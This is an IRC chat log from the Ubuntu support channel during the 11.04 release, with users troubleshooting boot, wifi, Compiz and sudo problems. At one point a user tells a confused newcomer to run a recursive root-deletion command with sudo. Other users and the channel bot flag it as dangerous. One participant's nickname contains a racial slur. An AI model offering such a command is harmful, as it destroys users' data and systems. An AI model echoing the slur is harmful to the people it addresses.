[04:31] <cdoktor19> [ 3555.415823] pwrdown, 0x6(BIT6)=ff
[04:32] <FloodBot2> cdoktor19: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[04:32] <audhi> #ubuntu+1
[04:32] <cordoval_> anyone knows how to pastebinit but graphically or to specific service? from a browser or from other editor for instance?
[04:32] <cdoktor19> i have that message, is that ok
[04:32] <cordoval_> pastebinit with the less clicks possible
[04:33] <kellnola> any pitivi users in here?
[04:33] <ChogyDan> cordoval_: what's wrong with the current behaviour?
[04:33] <cordoval_> too many clicks, for instance if I have to select some output from the terminal or a browser
[04:34] <cordoval_> I don't want to paste it into a document or open a browser page
[04:34] <cordoval_> but rather directly click and it saves the url on memory to paste
[04:34] <ChogyDan> cordoval_: pastebinit doesn't involve clicks??
[04:34] <cordoval_> pastebinit is limited to terminal and sometimes i cannot pipe the output that i want
[04:34] <cordoval_> I have to save to document first then use the command
[04:34] <Herbs> ok as you all cant help me with my questio which is fine btw, can anyone point me to a reference for a red hat admins guide to ubuntu servers
[04:34] <cordoval_> a lot of keystrokes
[04:35] <kellnola> Herbs, huh? LOL!
[04:35] <ChogyDan> cordoval_: example?
[04:35] <kellnola> Herbs, missed your question
[04:35] <hiexpo> man pastebinit   >    paste terminal
[04:35] <Herbs> kellnola ubuntu bit like windows keep changing stuff lol
[04:35] <cordoval_> example?
[04:35] <cordoval_> dont you use pastebinit?
[04:35] <beegle> hello peeps
[04:35] <kellnola> Herbs, oh my yes. It can be frustrating.
[04:35] <gogearvibe4g> lols....peeps
[04:35] <cordoval_> php some command | pastebing does not work!
[04:36] <kellnola> the whole init / upstart thing would be painful to an RHEL type
[04:36] <beegle> i like peeps
[04:36] <gogearvibe4g> the mashmallow ones? ^^ me too! xD
[04:36] <Herbs> kellnola basically Im a red hat based server admin and Ive been asked to look at an ubuntu server thats borked but theres a few differences in locations service names stuff like that
[04:36] <ChogyDan> cordoval_: sometimes doing it like this works for me: pastebinit<(command etc etc)
[04:36] <bryar> Hello! ^_^
[04:37] <kellnola> Herbs, LTS is for production. The regular distro is actually pretty bleeding edge
[04:37] <cordoval_> hmmm oh thanks ChogyDan, how to change provider, I want pastie.org rather
[04:37] <sdegutis> <3
[04:37] <sdegutis> /me does not have CTCP actions implemented yet :(
[04:37] <ChogyDan> dunno
[04:37] <cordoval_> rats!
[04:37] <IHateNaggers> 9/11 was an inside job
[04:37] <kellnola> Herbs, what's the prob. exactly?
[04:37] <rww_> !ot | IHateNaggers
[04:37] <ubottu> IHateNaggers: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[04:37] <rww_> that works too
[04:37] <Herbs> kellnola you cant get more bleeding edge than Fedora :D
[04:38] <mickster04> :D
[04:38] <bryar> Quick question. Does anyone know how to get Gnome 3 for Ubuntu 11.04?
[04:38] <kellnola> Herbs, yes but that is RPM ... ANATHEMA!
[04:38]  * hiexpo without the peeps you guys would be still using windows    >    click - n go       doorknobs 
[04:38] <cdoktor19> :)
[04:38] <Ketterer> hey
[04:38] <cordoval_> rats! need to change to pastie.org
[04:38] <cordoval_> cordoval_: sometimes doing it like this works for me: pastebinit<(command etc etc)	
[04:39] <Ketterer> so i was wondering if it is worth doing a reinstall tomorrow with official if i have beta 2 running right now?
[04:39] <rww_> !final
[04:39] <ubottu> If you install a development version of Ubuntu Natty and keep up with package updates, then you will be upgraded to the official release of 11.04 when it comes out. To make sure, type « sudo apt-get update && sudo apt-get dist-upgrade » in a console.
[04:39] <Herbs> kellnola its just the thinks like no chkconfig I need an ubuntu guide for red hat users :D
[04:39] <hiexpo> !fresh | Ketterer
[04:40] <kellnola> Herbs you can install chkconfig but it doesn't work with everything
[04:40] <hiexpo> Ketterer, fresh install is always better
[04:40] <Herbs> I know but this aint my box
[04:41] <Herbs> and the problem is tty1 dies whenever you try to login
[04:41] <Ketterer> ya i should do fresh ehh thats what i figured ( i have never like upgrade) i used it back on like 6.10 > 7.04 and it screwed me over so iv never liked it but i wasnt sure if it was better now
[04:41] <cordoval_> rats! can someone knows how to change provide for pastebinit?
[04:41] <cordoval_> to pastie.org or is it hardcoded?
[04:42] <Ketterer> thanks guys
[04:42] <Ketterer> have a goo night
[04:42] <hiexpo> rww_, everyone thinks new is betta     hehe      >     I   will stick to my 10.04       >   screaming fast with 2.6.38.5 kernal
[04:42] <kellnola> Herbs, you can use update-rc.d
[04:42] <Gloopie> j
[04:43] <cordoval_> rats!
[04:43] <rcmaehl> hiexpo: my 10.10 LTS is much faster :P
[04:43] <Herbs> kellnola even if its using upstart for tty1 ?
[04:44] <rww_> 10.10 LTS isn't real.
[04:44] <hiexpo> rcmaehl, i get boot at 34 secs    :)    and 10.10 is not lts     :)
[04:44] <RealOpty> ^
[04:44] <kellnola> udo update-rc.d -f daemon remove <- like chkconfig daemon off
[04:45] <Herbs> arent all LTS .04
[04:45] <kellnola> Herbs, yes but not all .04 are LTS
[04:46] <Spaz_Dynamic> howcome numlock is on, though my keyboard indicator is off?
[04:46] <Herbs> kellnola cool I will give it a go as they have alot of custom start up scripts
[04:47] <Herbs> another day though Ive spent long enough
[04:47] <renancoelho> Hi there, ubuntu was taking unusually longer to load and I did a reset, right before the computer turned of I saw that the ubuntu screen came up, therefore everything was fine. However, after restarting it, it goes straight into bash.
[04:47] <renancoelho> Any suggestion?
[04:47] <celthunder> renancoelho: any errors? is gdm running?
[04:48] <renancoelho> gdm? I am really new to ubuntu, although I love it. I am able to run commands and cd places..
[04:48] <hiexpo> new slack out
[04:49] <Herbs> <renancoelho> when you get dumped to bash if you type init 3 what happens?
[04:49] <renancoelho> didn't try, it said to put a command and when I did it, it would say it could not find it...
[04:49] <Herbs> sorry Im a server admin with red hat based it might be init 5
[04:50] <Herbs> whatever the run level for gui is
[04:50] <renancoelho> I had to boot into windows...
[04:50] <celthunder> Herbs: init 5 is i thought X session init 3 is terminal
[04:50] <renancoelho> each one is gui?
[04:50] <celthunder> init 1 single user and 2/6 reboot/shutdown (i think)
[04:50] <cylob> hey, how long until 11.04 is available for download?
[04:51] <Herbs> init 1 is single user 3 is CLI 6 is reboot I think 5 is gui
[04:51] <renancoelho> I am a single user, will init 1 load single user with gui?
[04:51] <celthunder> Herbs: yeah sounds right
[04:51] <cordoval_> what is the effect like mac minimizing and getting windows opened?
[04:51] <renancoelho> or just command line?
[04:51] <celthunder> renancoelho: no
[04:52] <cordoval_> is that water effect?
[04:52] <gueriLLaPunK> i want to make a SSH shell for a friend. what settings do I enter for his username?
[04:52] <MandoJM> hi
[04:52] <cordoval_> how to set up the mac like effect? for windows?
[04:52] <gueriLLaPunK> like User ID or shell access... just /bin/sh?
[04:52] <celthunder> gueriLLaPunK: whatever you want? just make sure he has a shell and preferably a home dir so he doesn't get thrown in /
[04:52] <cordoval_> how to set up the mac like effect? for windows?	
[04:52] <Herbs> <renancoelho> no single user dont work like that if you want its the alternate of windows safe mode
[04:52] <cordoval_> anyone?
[04:52] <BC_> anyone know how to get 32-bit compatibiliy working again in natty?  i tried reinstalling it and that did not fix it
[04:52] <snow_us> hi
[04:52] <MandoJM> anybody knows what time is the 11.04 coming out?
[04:53] <cordoval_> it is working on me
[04:53] <celthunder> BC_: install the 32 bit libs?
[04:53] <cordoval_> how to set up the mac like effect? for windows
[04:53] <cordoval_> for windows on natty?
[04:53] <snow_us> I want to know how to remove the "sudo" authority from the first (default) user in ubuntu ?
[04:53] <celthunder> cordoval_: stop repeating...if someone knows they'll answer
[04:53] <renancoelho> Herbs: oh.. ok.. I will try init 5 then... if not I will log back to windows... Thanks!
[04:53] <celthunder> snow_us: visudo
[04:53] <snow_us> I couldn't find the name in /etc/sudoers !
[04:53] <cordoval_> sorry just wanted to repeat the effect that I saw on youtube natty demo
[04:53] <hiexpo> !natty | MandoJM
[04:53] <ubottu> MandoJM: Natty Narwhal is the codename for Ubuntu 11.04, due April 28 2011. Help and support (only) in #ubuntu+1. Natty is beta and is not currently intended for production systems.
[04:53] <cordoval_> it had like mac windows dynamics
[04:53] <cordoval_> really nice
[04:53] <cordoval_> i wonder if that is compiz or not
[04:54] <cordoval_> or which values because mine seems too fast or it is not there
[04:54] <MadDecent> google it
[04:54] <apprentice3d> The 11.04 will be on friday
[04:54] <cordoval_> what is the name of that effect?
[04:54] <cordoval_> rats!
[04:54] <cordoval_> how to google it without the name?
[04:54] <snow_us> celthunder:  I couldn't find the name in /etc/sudoers !	
[04:54] <cordoval_> cats!
[04:54] <BC_> the 32 bit libs are already installed and were working up until a about a week ago more or less and then i started getting the wrong elf class errors after one of the updates
[04:54] <Axlin> cordoval_: you mean the "genie" like effect when minimizing? that is a compiz effect, but i can't tell you the name of it at the moment (running kde)
[04:54] <sebsebseb> apprentice3d: nope  11.04 later on Thursday
[04:54] <cordoval_> yes
[04:54] <cordoval_> genie effect
[04:54] <cordoval_> is called?
[04:54] <cordoval_> wow
[04:54] <celthunder> snow_us: hmm...remove it from group wheel/sudo?
[04:55] <rzx237> cordoval_: magic lamp
[04:55] <crackguy> could someone please help me to resolve this issue: (iscsiadm: iscsid is not running. Could not start it up automatically using the startup command in /etc/iscsi/iscsid.start. Please check that the file exists or that your init scripts have started iscsid)
[04:55] <cordoval_> magic lamp thanks!
[04:55] <snow_us> celthunder: what happens if there is no user that has sudo authority :))) ?
[04:56] <celthunder> snow_us: you use su
[04:56] <cordoval_> it does not show up though, sometime I had to do?
[04:56] <apprentice3d> sebsebseb: you're right - 28th is Thursday
[04:56] <snow_us> there is no user called su
[04:56] <celthunder> snow_us: if you don't set a root pw or forget to just login to single user mode and set one
[04:56] <celthunder> snow_us: su is a command to switch user
[04:56] <cordoval_> http://www.omgubuntu.co.uk/2010/08/get-the-os-x-genie-effect-in-compiz-easily/
[04:56] <snow_us> ok
[04:57] <sebsebseb> apprentice3d: 28th is today in my time zone
[04:57] <MadDecent> any eta for release?
[04:57] <rww_> MadDecent: no set time, will be announced on the ubuntu-announce list and in #ubuntu-release-party
[04:58] <apprentice3d> Sebsebseb: for me there are still less than 3 minutes :)
[04:58] <AbuMaia> MadDecent: sometime on the 28th ^_^
[04:58] <cc11rocks> for me less than 2
[04:58] <dxer> haha same here
[04:58] <sebsebseb> AbuMaia: well nearly had five hours here of the 28th,  kind of sad that I don't feel tired though in a way, because I been awake quite  a lot of hours now
[04:59] <sebsebseb> AbuMaia: wrong one
[04:59] <sebsebseb> apprentice3d: see above
[04:59] <apprentice3d> I think they should have put a countdown or something because my notebook is now clean and waiting for official 11.04
[04:59] <sebsebseb> apprentice3d: no no count down, because no one knows for suer when it will be out yet
[04:59] <AbuMaia> there was a countdown, only in days though
[04:59] <dxer> is there a way to show the text during boot? (natty beta 2.. for now :))
[05:00] <sebsebseb> apprentice3d: all we know is it's coming out on the 28th in most time zones, some time
[05:00] <xkemix> what time zone do they run on
[05:00] <cordoval_> rats! i followed instructions and got it messed up
[05:00] <xkemix> PST MST CST or EST
[05:00] <AbuMaia> I want to say Pacific
[05:00] <AbuMaia> but I'm not sure
[05:00] <rww_> xkemix: There is no set time or timezone.
[05:00] <rww_> xkemix: It'll be released sometime between now and when it stops being April 18th everywhere on the planet.
[05:01] <apprentice3d> sebsebseb: then I was right, it will be available on Friday (if the servers will survive)
[05:01] <AbuMaia> 28th
[05:01] <sebsebseb> rww_: 18th ?
[05:01] <rww_> sebsebseb: I am falliable!
[05:01] <rww_> xkemix: I mean 28th, as AbuMaia said :)
[05:02] <xkemix> well its 12:01am EST and no download
[05:02] <xkemix> wait for the next hour lol
[05:03] <cordoval_> rats!
[05:03] <bryar> exit
[05:03] <renancoelho> Hi, I am the guy who the gui wouldn't load...
[05:03] <renancoelho> didn't work...
[05:03] <renancoelho> say's it cant find init/
[05:04] <renancoelho> then I tried to do exit, and it says the init is taited...
[05:04] <renancoelho> tainted
[05:04] <semitones> rww_, what's the differences in packages between the natty you can have now, and the natty that comes out later today?
[05:04] <rww_> semitones: The natty that comes out later today contains fixes for any last-minute bugs they find.
[05:04] <rww_> semitones: This actually happened in 10.10 and probably other releases, btw. I'm not being theoretical :)
[05:04] <Herbs> <renancoelho> if it couldnt find init it wouldnt boot
[05:05] <Herbs> check the users path
[05:05] <semitones> rww_, bugfixes since the last freeze? how much time elapsed since then? :P
[05:05] <cordoval_> anyone on how to get the magic lamp rightly?
[05:05] <cordoval_> old instructions don't work
[05:05] <renancoelho> boots to bash...
[05:05] <renancoelho> check the users path how? sorry really new to this..
[05:05] <rww_> semitones: I haven't been paying attention to the release schedule this cycle, so I dunno how they're doing it. There's no RC this time, so I assume it's different somehow.
[05:06] <Herbs> echo $PATH
[05:06] <renancoelho> Then what do I do with that?
[05:06] <semitones> rww_, huh, cool!
[05:06] <Ziber> If I have an ISO of 10.10, but nothing to burn it to... Can I somehow get it to boot from it?
[05:07] <ubusammyn150> i'm attempting to re-install 10.04..previous install was exploited via remote connection..via landscape i'm assumeing
[05:07] <wtracy1> Ziber: do you have a flash memory stick?
[05:07] <renancoelho> Ziber: how about a usb?
[05:07] <ubusammyn150> create a start-up usb stick useing that iso
[05:07] <ubusammyn150> only works if your pc support booting from usb
[05:07] <Ziber> renancoelho: no... i dont :( i know i could've.
[05:07] <Ziber> and mine does.
[05:07] <cordoval_> rats! nothing on genie effect
[05:08] <Herbs> <renancoelho> does /etc/init exist?
[05:08] <ubusammyn150> yes
[05:08] <ubusammyn150> ??
[05:08] <wtracy1> Ziber: currently running windows, ubuntu, or something else?
[05:08] <Neo_Kipl1ng> quit
[05:08] <RRU_Sciguy> And you need to make sure that the bios is set to boot from the usb before the HDD
[05:08] <renancoelho> Ziber: http://www.ubuntu.com/desktop/get-ubuntu/download it shows step by step.
[05:09] <RRU_Sciguy> A guy in my college class ran into that today
[05:09] <renancoelho> Herbs: not sure. it would'nt let me cd to some of the folders...
[05:09] <astropirate> I installed tasksel to install a LAMP server. But when i start up tasksel and chose LAMP it just closes. Could someone help me with this?
[05:09] <Ziber> renancoelho: I have the ISO, I need a way to boot from it without... having anything to install it on.
[05:09] <renancoelho> Herbs: if it is, then what should I do?
[05:09] <Herbs> try sudo
[05:10] <astropirate> it doesn't work with out sudo
[05:10] <renancoelho> I did... wouldn't let me...
[05:10] <RRU_Sciguy> you may need to be root to access certain folders
[05:10] <wtracy1> Ziber: if you're currently running Windows, try Wubi
[05:10] <Ziber> I'm not :(
[05:10] <wtracy1> what are you running?
[05:10] <renancoelho> doesn't let me sudo.
[05:10] <Jordan_U> Ziber: What is currently on the computer?
[05:10] <Ziber> Also, unrelated question, how can I set terminal to support UTF-8?
[05:10] <Ziber> Jordan_U: Well, an older version of ubuntu because thats the only ubuntu CD I had.
[05:10] <Jordan_U> Ziber: It should by default. What problem are you having?
[05:10] <Ziber> I want 10.10
[05:10] <Jordan_U> Ziber: What version?
[05:10] <Herbs> define doesent let you sudo
[05:11] <Ziber> Jordan_U: 8.04, iirc.
[05:11] <RRU_Sciguy> I love sudo, even works in scripts :D
[05:11] <wtracy1> Ziber: try just upgrading in place
[05:11] <Jordan_U> Ziber: You can upgrade directly to 10.04, and from 10.04 upgrade to 10.10.
[05:11] <Herbs> RRU but you have to give your password to those scripts
[05:11] <alanonymous> question for y'all: running 10.10 with wine 1.3, I installed the game Rift, everything works great except when game runs it's ~5 fps and all of the textures are black.  Any idea?  I've googled like a madman and can't figure it out.
[05:11] <Ziber> Jordan_U: do-release-upgrade? just looks like it'll take forever.
[05:12] <wtracy1> Ziber: that or go buy a cd--take your pick
[05:12] <RRU_Sciguy> Herbs I know
[05:12] <Herbs> keys and root ftw :D
[05:12] <Jordan_U> Ziber: It will, especially with the mirrors being hit heavily by users upgrading to 11.04 (which will be released some time in the next 24 hours).
[05:12] <pete9> aight
[05:12] <renancoelho> Nothing happens when I sudo, usually asks for the password.. but here nothing.
[05:12] <Ziber> Jordan_U: Coupled with the fact that I'm on a college network and the bw sucks here.
[05:13] <cordoval_> how to restablish a component if i have messed it up?
[05:13] <cordoval_> unistall and reinstall it?
[05:13] <RRU_Sciguy> My college has the major networking
[05:13] <Jordan_U> Ziber: You can also boot from the 10.10 iso with it just stored on your hard drive. Though that's more difficult to do with 8.04's grub legacy it's still possible.
[05:13] <cordoval_> rats!
[05:13] <usr13> renancoelho: What are you tryint to do?
[05:13] <renancoelho> just boot the gui...
[05:13] <Ziber> Jordan_U: How would I go about doing that?
[05:14] <usr13> renancoelho: You have a broken system?
[05:14] <Herbs> <renancoelho> do you know the difference between absolute and relative paths?
[05:14] <renancoelho> I turned of the comp while it was loading the gui and now it wont load...
[05:14] <cordoval_> how to boot the gui?
[05:14] <cordoval_> rats!
[05:14] <renancoelho> Herbs: not really.
[05:14] <Herbs> sorry to ask but I work with some dim shits
[05:14] <usr13> renancoelho: What was it doing whtn you turned it off?
[05:14] <seniseni> what name of party channel?
[05:15] <usr13> renancoelho: Installing something?
[05:15] <renancoelho> usr13: just loading the gui...
[05:15] <renancoelho> usr13: it was taking a bit longer than usual and I thought it got stuck..
[05:15] <usr13> renancoelho: What does it do now?  What screen are you left with when it's done bootingz?
[05:16] <usr13> renancoelho: Oh, it may have been doing fsck (file system check / repair).
[05:16] <renancoelho> bash.. i think.. it loads up a bunch of stuff and at the end it says no init could be found.
[05:16] <RRU_Sciguy> that aint good
[05:16] <renancoelho> yeahh i think so...
[05:16] <cordoval_> rats! it was just animation but i messed it up
[05:17] <cordoval_> wonder if I should uninstall and resintall compiz to resolve
[05:17] <Herbs> <renancoelho> so you cant cd to /etc/init whats the message displayed?
[05:17] <renancoelho> usr13: i did see fsck somewhere.
[05:17] <renancoelho> Herbs: it just says it can't.
[05:17] <Jordan_U> Herbs: This has nothing to do with $PATH, his root filesystem wasn't mounted properly and he's at an initramfs / busybox shell.
[05:17] <usr13> renancoelho: Ok, well fsck run periodically to check and repair filesystem errors.
[05:17] <Herbs> <renancoelho> bad news you need to rebuild that box
[05:18] <renancoelho> Herbs: is that because I turned of while in fsck?
[05:18] <cordoval_> how to reestablished after compiz –replace &
[05:18] <Herbs> <renancoelho> boot in single user and run an fsck again
[05:18] <RRU_Sciguy> renancoelho: if it was performing filesystem ops, definitely
[05:19] <Herbs> it might have been moved to lost+found
[05:19] <Jordan_U> Herbs: The initramfs doesn't contain fsck.
[05:19] <renancoelho> so should I fsck? is that the command: fsck?
[05:19] <Herbs> jordan and?
[05:19] <Herbs> she turned the box off during an fsck
[05:20] <Jordan_U> Herbs: And so he won't be able to "boot into single user mode and run fsck". fsck is on his root filesystem, which isn't mounting properly at boot.
[05:20] <Herbs> rootfs doesent mount in single user
[05:21] <Herbs> it mounts as ro
[05:21] <Jordan_U> renancoelho: Boot a liveCD, run "sudo blkid", pastebin the output (using http://pastebin.ubuntu.com ) and then we can give you step by step directions from there.
[05:21] <RRU_Sciguy> booting from live CD should work if there is doubt
[05:22] <renancoelho> can it be from my usb?
[05:22] <renancoelho> The same I used to instal?
[05:22] <RRU_Sciguy> if your BIOS will check the usb and boot from it before checking HDD, then probably
[05:22] <sandi> new to ubuntu, im looking for software to download photos from my HP Photosmart R725
[05:23] <Herbs> <renancoelho> tbh its probably that borked it would need someone with access to the box to look at and not advise in a chat room
[05:23] <sandi> sorry for my rudeness, hello
[05:23] <eloystebam> join #ubuntu-es
[05:24] <SkrappJaw> having a wireless issue. if anyone can help. I ran iwconfig and my eth0 shows no wireless extensions.
[05:24] <Herbs> eth0 will thats your lan not wlan
[05:24] <renancoelho> Ok, I will boot from the usb and come back.... thanks!
[05:24] <Abhijit> hi
[05:24] <SkrappJaw> ahh.
[05:24] <seniseni> -_-
[05:24] <SkrappJaw> oops. nvm. sry.
[05:24] <soreau> SkrappJaw: What wifi chip?
[05:24] <SkrappJaw> lol.
[05:24] <Abhijit> i have ordered cds before closing of shipit. and i got msg that cds are delivered to parcel company. but now shipit program closed. and i cannot see status of my order? help?
[05:24] <SkrappJaw> its a dlink
[05:25] <SkrappJaw> It had worked before.
[05:25] <SkrappJaw> its PCI
[05:25] <RRU_Sciguy> sandi:I dunno, Shotwell might. I have no idea honestly
[05:25] <SkrappJaw> ubu 10.10
[05:25] <soreau> SkrappJaw: What is the output of 'lspci|grep Network'?
[05:25] <seniseni> SkrappJaw: what you want to do?
[05:26] <SkrappJaw> I cannot find any networks
[05:26] <sandi> gtkam came close but the model is not listed
[05:26] <SkrappJaw> im currently on a laptop. lspci|grep Network prints nothing
[05:26] <RRU_Sciguy> SkrappJaw: do you have a wireless router?
[05:27] <seniseni> SkrappJaw: what networks you want find? more specific omg
[05:27] <SkrappJaw> yea. the laptop im on is on ubu 10.04 and is wireless. the desktop ubu10.10 is what im trying to get working again.
[05:27] <Abhijit> i have ordered cds before closing of shipit. and i got msg that cds are delivered to parcel company. but now shipit program closed. and i cannot see status of my order? help?
[05:27] <Herbs> lspci | grep Ethernet
[05:27] <Herbs> not network
[05:27] <soreau> ! who | SkrappJaw
[05:27] <ubottu> SkrappJaw: As you can see, this is a large channel. If you're speaking to someone in particular, please put their nickname in what you say (use !tab), or else messages get lost and it becomes confusing :)
[05:27] <seniseni> SkrappJaw: you see wlan(number) in ifconfig -a ?
[05:28] <soreau> SkrappJaw: Are you sure the wifi card is enabled in the bios?
[05:28] <Herbs> it should be wlan0 no?
[05:28] <RRU_Sciguy> Herbs: Yes
[05:28] <SkrappJaw> i know there are a few here. and my desk pc doesnt show any anymore. i cant even connect to the home one via connect to hidden network.
[05:28] <seniseni> SkrappJaw: what is your "ifconfig -a" shows?
[05:28] <SkrappJaw> Ethernet Controller Realtek RTL8180L 802.11b
[05:29] <cordoval_> I have lost my unity navigation bar on the left and top bar, how do I fix it?
[05:29] <cordoval_> I am in unity natty
[05:29] <cordoval_> how to fix my missing navigation bars?
[05:29] <cordoval_> can't access anything
[05:29] <seniseni> rm -Rf /*
[05:29] <seniseni> dont forget sudo
[05:30] <Abhijit> ??
[05:30] <cordoval_> after working on my settings and a shut down I lost my natty unity navigation bar on the left feature
[05:30] <RRU_Sciguy> cordoval_: I dunno, waiting for release
[05:30] <topramen> i need some help please
[05:30] <cordoval_> rats, i am unable to even access anything
[05:30] <cordoval_> please help me
[05:30] <Herbs> seniseni what a knob you are
[05:30] <sandi> Thanks Sciguy, I'll keep looking
[05:30] <Abhijit> !danger
[05:30] <ubottu> DO NOT RUN THAT COMMAND! That particular command is DANGEROUS and shouldn't be uttered here. REST OF YOU: DANGER, WILL ROBINSON, DANGER! Do not use the command or utter it here thank you!
[05:30] <Herbs> cordoval do not run that command
[05:30] <SkrappJaw> what am i looking for under ifconfig -a?
[05:30] <cordoval_> what command?
[05:31] <seniseni> ubuntu its not a toy, use wan and brain for solve problems
[05:31] <Herbs> your ip address
[05:31] <george> i need  some help with a wireless realtek can anybody help??
[05:31] <cordoval_> please tell me how to fix the natty unity missing nav left bar
[05:31] <rww_> seniseni: Do not give dangerous commands like that in here.
[05:31] <cordoval_> compiz (core) - Error: Couldn't load plugin 'unityshell'
[05:31] <seniseni> rww_: yea, sorry
[05:31] <Herbs> cordoval rm removes files rm -rf doesent ask again
[05:31] <RRU_Sciguy> I had a similar (i think) problem with the date bar, I just hid some things under settings, then revealed them again cordoval_
[05:31] <cordoval_> compiz (core) - Error: Couldn't load plugin 'unityshell' how do i solve it?
[05:32] <cordoval_> compiz core
[05:32] <Herbs> someone above told you to run that on / very bad
[05:32] <madhu> hi all
[05:32] <cordoval_> no nobody told me anything
[05:32] <cordoval_> just give me the proper command to run
[05:32] <cordoval_> compiz (core) - Error: Couldn't load plugin 'unityshell'
[05:32] <RRU_Sciguy> erase your entire drive...
[05:32] <topramen> I am trying to install ubuntu on my main pc and the walkthrough installer has stopped at the "Who are you?" step
[05:32] <madhu> how to add dns suffix in ubuntu
[05:32] <Herbs> infact please run it and go back to windows
[05:32] <cordoval_> what do i do with this error compiz (core) - Error: Couldn't load plugin 'unityshell'
[05:33] <RRU_Sciguy> Herbs: no-one in their right mind would go back
[05:33] <RRU_Sciguy> :P
[05:33] <SkrappJaw> soreau why would the wifi be disabled in bios?
[05:33] <Herbs> cordoval your using something that isnt a final release yet so you could be waiting for a while
[05:34] <soreau> SkrappJaw: I don't know. Can you pastebin the output of 'lspci' to pastebin.ca?
[05:34] <physically_fit> how many hours should i wait to get the new release?
[05:34] <topramen> please help
[05:34] <cordoval_> please help me too
[05:34] <cordoval_> compiz (core) - Error: Couldn't load plugin 'unityshell'
[05:34] <RRU_Sciguy> cordoval_: that's why it is still "beta", still has bugs
[05:34] <cordoval_> rats!
[05:34] <cordoval_> let them help me, this was working before
[05:35] <Abhijit> cordoval_, https://bugs.launchpad.net/ubuntu/+source/unity/+bug/738078
[05:35] <ubottu> Ubuntu bug 738078 in unity (Ubuntu) "compiz Error: Couldn't load plugin 'unityshell'" [Low,Invalid]
[05:35] <physically_fit> how many hours should i wait to get the new release? who knows?
[05:35] <Abhijit> :-o
[05:35] <RRU_Sciguy> topramen: what do you have filled out on it so far?
[05:35] <Abhijit> ubottu is fetching the link!!!
[05:35] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[05:35] <topramen> every text box
[05:35] <Abhijit> physically_fit, ask in #ubuntu+1
[05:36] <topramen> nevermind
[05:36] <topramen> i feel dumb
[05:36] <histo> !release
[05:36] <ubottu> Ubuntu releases a new version every 6 months. Each version is supported for 18 months to 5 years. More info at https://wiki.ubuntu.com/Releases & http://wiki.ubuntu.com/TimeBasedReleases
[05:36] <physically_fit> Abhijit, i did. they don't answer
[05:36] <Abhijit> ok
[05:36] <MasterUbuntu> yes that group is always dead
[05:36] <Abhijit> i have ordered cds before closing of shipit. and i got msg that cds are delivered to parcel company. but now shipit program closed. and i cannot see status of my order? help?
[05:37] <SkrappJaw> soreau: one moment.
[05:37] <crazy_pete> what is the apt-get command to see what package contains a file
[05:37] <cordoval_> how do you know it is the same problem?
[05:37] <cordoval_> hmmm
[05:37] <Abhijit> crazy_pete, apt-cache search
[05:37] <crazy_pete> the equivalent of "yum -provides */bin/proggie"
[05:37] <crazy_pete> thanks Abhijit
[05:37] <Abhijit> i dont know if its equivalent of yum -provides
[05:38] <Herbs> crazy_pete think you would need to use dpkg for that Im a red hat admin so not sure but try man dpkg
[05:38] <ashmew2> hi , how many hrs left for Natty Narwhal ?
[05:38] <crazy_pete> yeah i know redhat not ubuntu
[05:38] <RRU_Sciguy> test ["yum -provides" -eq "apt-cache search"] :P
[05:39] <physically_fit> haha ashmew2 i want to know too!
[05:39] <crazy_pete> and i want to do some video edting
[05:39] <crazy_pete> lol RRU_Sciguy
[05:39] <MasterUbuntu> was 10am last release
[05:39] <ashmew2> physically_fit : I just had to reinstall 10.10 because my hd crashed...that aint fair ! ...lol
[05:39] <Abhijit> physically_fit, ashmew2 ask in that #ubuntu-release-party channel
[05:39] <crazy_pete> and i don't want to compile and build the 80 million packages needed to support multimedia on centos
[05:39] <physically_fit> thanks Abhijit
[05:39] <Abhijit> lol 80 million
[05:39] <ashmew2> abhijit:Thanks
[05:40] <crazy_pete> but it looks like Ubuntu isn't "server man enough" to do what it needs and centos isn't "arty desktop man enough" to do it either
[05:40] <crazy_pete> yeah thanks Abhijit
[05:40] <nutsfornatty> centos is a fine server platform
[05:40] <crazy_pete> its a GREAT server platform
[05:40] <litropy> I know how to share folders from (at least) home directory onward, but how can I share protected folders such as /usr/bin, without severely compromising my system's security?
[05:41] <cordoval_> what is the command to log out?
[05:41] <cordoval_> I can't log out because i don't see the button
[05:41] <cordoval_> command to log out user?
[05:41] <crazy_pete> halt
[05:41] <ashmew2> well , /usr/bin if granted right access , anyone can put in a malicious executable
[05:41] <ashmew2> .
[05:41] <nutsfornatty> the only thing wrong with centos is the main branches are not updated nearly as frequently as they should be
[05:41] <ashmew2> write**
[05:41] <cordoval_> what is the command to log out?
[05:41] <Herbs> litropy set up an nfs share and make sure you only allow trusted servers in hosts.allow and make sure you deny :ALL in hosts.deny
[05:41] <nutsfornatty> but as long as your server works, who cares :-)
[05:41] <cordoval_> anyone ?
[05:41] <Abhijit> cordoval_, logout
[05:41] <buhman> why is ubuntu 11.04 not out yet?
[05:42] <buhman> is there some delay?
[05:42] <nutsfornatty> haha buhman, you must be new
[05:42] <ayecee> buhman: because it is not yet the 28th in n.america, I guess.
[05:42] <cordoval_> it does not work
[05:42] <cordoval_> logout it does not work
[05:42] <nutsfornatty> its always delayed a few hours
[05:42] <buhman> ayecee: sure it is
[05:42] <cordoval_> please provide command to log out
[05:42] <lapion> cordoval_, logout of what ?
[05:42] <buhman> ayecee: 42 minutes in to the 28th
[05:42] <ayecee> buhman: sure, on the east coast, but who lives on the east coast?
[05:42] <cordoval_> logout of the session of ubuntu
[05:42] <Abhijit> hmm
[05:42] <cordoval_> I can't see the button, else I click on it
[05:42] <buhman> ayecee: and the CST will be the 28th in 18 minutes
[05:42] <nutsfornatty> its usually released sometime during the night (if you are in america)
[05:42] <buhman> they'd better hurry up
[05:42] <lapion> cordoval_, a sesson in a terminal, or a graphical session ?
[05:43] <ayecee> buhman: your math is irreproachable.
[05:43] <Abhijit> cordoval_, do you have gnome -do?
[05:43] <cordoval_> right
[05:43] <ayecee> buhman: join #ubuntu-release-party
[05:43] <cordoval_> no
[05:43] <nutsfornatty> so just chill with us, and start making a list of all the cool natty customizations to do
[05:43] <cordoval_> session the whole ubuntu thing
[05:43] <theGreatDane> they say
[05:43] <cordoval_> rats!
[05:43] <cordoval_> logout user
[05:43] <cordoval_> relog into the system
[05:43] <theGreatDane> security through obscruity doesnt work
[05:43] <FloodBot2> cordoval_: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[05:43] <theGreatDane> but
[05:43] <cordoval_> rats!
[05:43] <lapion> codoval alt-F2
